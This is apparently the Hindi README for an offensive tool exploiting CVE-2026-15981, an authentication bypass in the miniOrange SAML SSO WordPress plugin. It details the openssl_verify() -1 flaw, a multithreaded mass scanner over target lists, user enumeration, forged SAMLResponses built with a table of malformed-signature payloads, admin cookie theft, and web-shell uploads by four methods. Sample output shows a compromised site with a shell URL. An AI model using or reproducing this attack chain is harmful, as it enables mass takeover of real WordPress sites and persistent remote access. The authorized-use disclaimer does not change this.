
SAML सिंगल साइन ऑन <= 5.4.4 - अनऑथेंटिकेटेड प्रमाणीकरण बायपास SAMLResponse पैरामीटर के माध्यम से
SAML Single Sign On <= 5.4.4 - बिना प्रमाणीकरण के SAMLResponse पैरामीटर के माध्यम से प्रमाणीकरण बाईपास
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
दूषित हस्ताक्षर → openssl_verify() लौटाता है -1 → PHP ढीला कास्ट true → wp_set_auth_cookie() व्यवस्थापक के रूप में
WordPress के लिए SAML Single Sign On – SSO Login प्लगइन सभी संस्करणों में 5.4.4 तक और इसमें शामिल, प्रमाणीकरण बाईपास के लिए असुरक्षित है। इसका कारण mo_saml_validate_signature() फ़ंक्शन PHP के openssl_verify() द्वारा लौटाए गए कच्चे ट्राई-स्टेट पूर्णांक पर ढीला बूलियन जाँच करना है, जिससे त्रुटि वापसी मान -1 को सत्य माना जाता है और इसलिए सफल हस्ताक्षर सत्यापन के रूप में व्यवहार किया जाता है।
यह बिना प्रमाणीकृत हमलावरों के लिए किसी भी मौजूदा WordPress उपयोगकर्ता, व्यवस्थापकों सहित, के रूप में लॉग इन करना संभव बनाता है, एक निर्मित SAMLResponse प्रस्तुत करके जिसमें हमलावर-नियंत्रित NameID और एक जानबूझकर दूषित हस्ताक्षर मान होता है जो OpenSSL प्रसंस्करण त्रुटि को ट्रिगर करता है — सत्यापन को पूरी तरह से बाईपास करता है और लक्षित खाते के लिए wp_set_auth_cookie() को कॉल किया जाता है।
हमलावर निर्मित SAMLResponse भेजता है
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ लौटाता है 1 → वैध हस्ताक्षर ✓
├─ लौटाता है 0 → अमान्य हस्ताक्षर ✗
└─ लौटाता है -1 → OpenSSL आंतरिक त्रुटि
│
▼
PHP ढीली तुलना: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← बग: त्रुटि को सफलता माना गया
│
▼
wp_set_auth_cookie() कॉल किया गया
│
▼
हमलावर अब व्यवस्थापक है
फिक्स तुच्छ है — if ($result === 1) के बजाय if ($result) — लेकिन दोष का प्रभाव पूर्ण प्रमाणीकरण बाईपास है।
?option=mosaml_metadata से Entity ID और ACS URL निकालता है/wp-json/wp/v2/users)/?author=N)?option=saml_user_login रीडायरेक्ट का अनुसरण करता है और IdP बेस URL निकालता हैlxml के माध्यम से उचित Exclusive C14N कैनोनिकलाइज़ेशन</Issuer> के बाद हस्ताक्षर तत्व इंजेक्शनopenssl_verify() = -1 को ट्रिगर करने के लिए डिज़ाइन किए गए 12+ दूषित हस्ताक्षर पेलोडwordpress_logged_in_* कुकी की जाँच करता हैPython >= 3.8
pip install requests lxml
lxmlSAML Assertion के उचित Exclusive C14N कैनोनिकलाइज़ेशन के लिए आवश्यक है।
python CVE-2026-15981.py
आपसे निम्नलिखित के लिए संकेत दिया जाएगा:
| संकेत | विवरण | डिफ़ॉल्ट |
|---|---|---|
| लक्ष्य फ़ाइल | एक टेक्स्ट फ़ाइल का पथ जिसमें प्रति पंक्ति एक लक्ष्य हो | list.txt |
| थ्रेड्स | समवर्ती कार्यकर्ताओं की संख्या (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
प्रति पंक्ति एक URL. यदि कोई योजना निर्दिष्ट नहीं है तो HTTP डिफ़ॉल्ट रूप से उपयोग किया जाता है।
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
प्रत्येक लक्ष्य 7 लेबल वाले चरणों के माध्यम से आगे बढ़ता है:
============================================================
target.com
============================================================
[1] WordPress
पुष्टि हुई
[2] SAML प्लगइन
संस्करण: 5.4.4
miniOrange SAML मिला
[3] SP मेटाडेटा
मेटाडेटा entityID: https://target.com/...
मेटाडेटा ACS: https://target.com/
[4] उपयोगकर्ता
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 मिले: ['admin', 'editor', 'johndoe', 'target']
[5] जारीकर्ता
SSO रीडायरेक्ट मिला
3 उम्मीदवार
[6] एक्सप्लॉइट
कुकी! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin पहुँच योग्य
user=admin [email protected]
users.php -> Admin
[7] शेल अपलोड
M1: प्लगइन अपलोड हुआ
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| व्यवस्थापक सत्र पुष्ट हुआ |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| फ़ाइल | सामग्री |
|---|---|
sms.txt | प्रति पुष्ट व्यवस्थापक सत्र एक पंक्ति — टाइमस्टैम्प, लक्ष्य, उपयोगकर्ता, कुकी, शेल URL, जारीकर्ता, हस्ताक्षर विधि |
sms_debug.json | प्रत्येक लक्ष्य के लिए पूर्ण डायग्नोस्टिक JSON — प्रयास गणना और विफलता वर्गीकरण सहित |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
समाप्त - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
परिणाम -> sms.txt डीबग -> sms_debug.json
============================================================
लक्ष्य
│
├─ [1] WordPress पहचान
│ └─ wp-login.php / wp-json / jQuery फिंगरप्रिंट
│
├─ [2] SAML प्लगइन पहचान
│ ├─ readme.txt संस्करण जाँच (≤ 5.4.4)
│ └─ HTML में SAML हस्ताक्षर पहचान
│
├─ [3] SP मेटाडेटा खोज
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] उपयोगकर्ता गणना
│ ├─ REST API /wp/v2/users (बल्क + प्रति-आईडी)
│ ├─ लेखक संग्रह रीडायरेक्ट (/?author=N)
│ ├─ HTML बॉडी पैटर्न मिलान
│ └─ डोमेन फ़ॉलबैक + सामान्य व्यवस्थापक नाम
│
├─ [5] IdP जारीकर्ता खोज
│ ├─ ?option=saml_user_login रीडायरेक्ट → IdP URL
│ └─ wp-login.php SAML लिंक निष्कर्षण
│
├─ [6] SAMLResponse जालसाज़ी और वितरण
│ │
│ │ प्रत्येक (उपयोगकर्ता × जारीकर्ता × एल्गोरिदम × हस्ताक्षर × दर्शक × SP आईडी) के लिए:
│ │
│ ├─ हमलावर-नियंत्रित NameID के साथ SAML Assertion बनाएँ
│ ├─ Exclusive C14N (lxml) के माध्यम से कैनोनिकलाइज़ करें
│ ├─ Assertion के लिए सही DigestValue की गणना करें
│ ├─ दूषित SignatureValue इंजेक्ट करें (0xFF×256, ASN.1 जंक, आदि)
│ ├─ <samlp:Response> में लपेटें, Base64 एन्कोड करें
│ ├─ SAMLResponse को ACS URL पर POST करें
│ ├─ wordpress_logged_in_* कुकी की जाँच करें
│ ├─ यदि कुकी मिलती है → wp-admin के माध्यम से व्यवस्थापक भूमिका सत्यापित करें
│ └─ डायग्नोस्टिक इंजन के माध्यम से विफलता को वर्गीकृत करें
│
└─ [7] पोस्ट-एक्सप्लॉइटेशन (व्यवस्थापक सत्र पर)
├─ M1: प्लगइन ZIP अपलोड + सक्रियण
├─ M2: REST API प्लगइन अपलोड
├─ M3: थीम/प्लगइन संपादक फ़ाइल लेखन
├─ M4: मीडिया एसिंक अपलोड
└─ शेल निष्पादन सत्यापन (Nx-zD हस्ताक्षर)
एक्सप्लॉइट में 12+ हस्ताक्षर पेलोड शामिल हैं जो विशेष रूप से openssl_verify() = -1 को ट्रिगर करने के लिए तैयार किए गए हैं:
प्रत्येक को SHA-1 और SHA-256 एल्गोरिदम URI के साथ जोड़ा जाता है, और दर्शक प्रतिबंध के साथ/बिना परीक्षण किया जाता है, कई SP Entity IDs पर — किसी भी OpenSSL संस्करण पर -1 रिटर्न पथ को हिट करने की संभावना को अधिकतम करता है।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान उद्देश्यों के लिए प्रदान किया जाता है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच एक आपराधिक अपराध है। लेखक इस सॉफ़्टवेयर के उपयोग से उत्पन्न दुरुपयोग, क्षति, या किसी भी कानूनी परिणाम के लिए कोई देयता नहीं मानता है। आप अपने क्षेत्राधिकार में सभी लागू कानूनों और विनियमों के अनुपालन को सुनिश्चित करने के लिए पूरी तरह से जिम्मेदार हैं।
द्वारा: Nxploited
खालिद अलेनाज़ी — Nxploited ZeroDay Hub
T.m @Kxploit
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-15981 |
| प्रभावित प्लगइन | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| प्रभावित संस्करण | सभी संस्करण 5.4.4 तक और इसमें शामिल |
| प्रकार | बिना प्रमाणीकरण के प्रमाणीकरण बाईपास |
| CWE | CWE-287: अनुचित प्रमाणीकरण / CWE-305: प्राथमिक कमजोरी द्वारा प्रमाणीकरण बाईपास |
| CVSS 3.1 | 9.8 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई आवश्यक नहीं |
/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php तक पहुँच सत्यापित करता है/wp-admin/profile.php से उपयोगकर्ता नाम और ईमेल पढ़ता हैplugin-install.php के माध्यम से प्लगइन ZIP अपलोड/wp-json/wp/v2/plugins के माध्यम से REST API प्लगइन अपलोडNx-zD हस्ताक्षर की पुष्टि करता है| पेलोड | विवरण |
|---|
0xFF * 256 | 0xFF के 256 बाइट्स — अमान्य PKCS#1 पैडिंग |
0xFF * 384 | RSA-3072 कुंजी आकारों के लिए 384 बाइट्स |
0xFF * 512 | RSA-4096 कुंजी आकारों के लिए 512 बाइट्स |
0xFF * 128 | छोटे कुंजी आकारों के लिए छोटा बफर |
0xFF * 64 | न्यूनतम अमान्य पैडिंग |
0x00 0x01 0xFF*254 | PKCS#1 v1.5 जैसा दिखता है लेकिन गलत संरचना के साथ |
0x00 0x01 0xFF*126 | छोटी PKCS#1-जैसी संरचना |
null_2B | दो शून्य-आसन्न बाइट्स |
rand_3B / rand_7B | यादृच्छिक बाइट्स — पार्सिंग त्रुटियों को ट्रिगर करता है |
asn1_bad | दूषित ASN.1 DER अनुक्रम |
ff_1B | एकल 0xFF बाइट |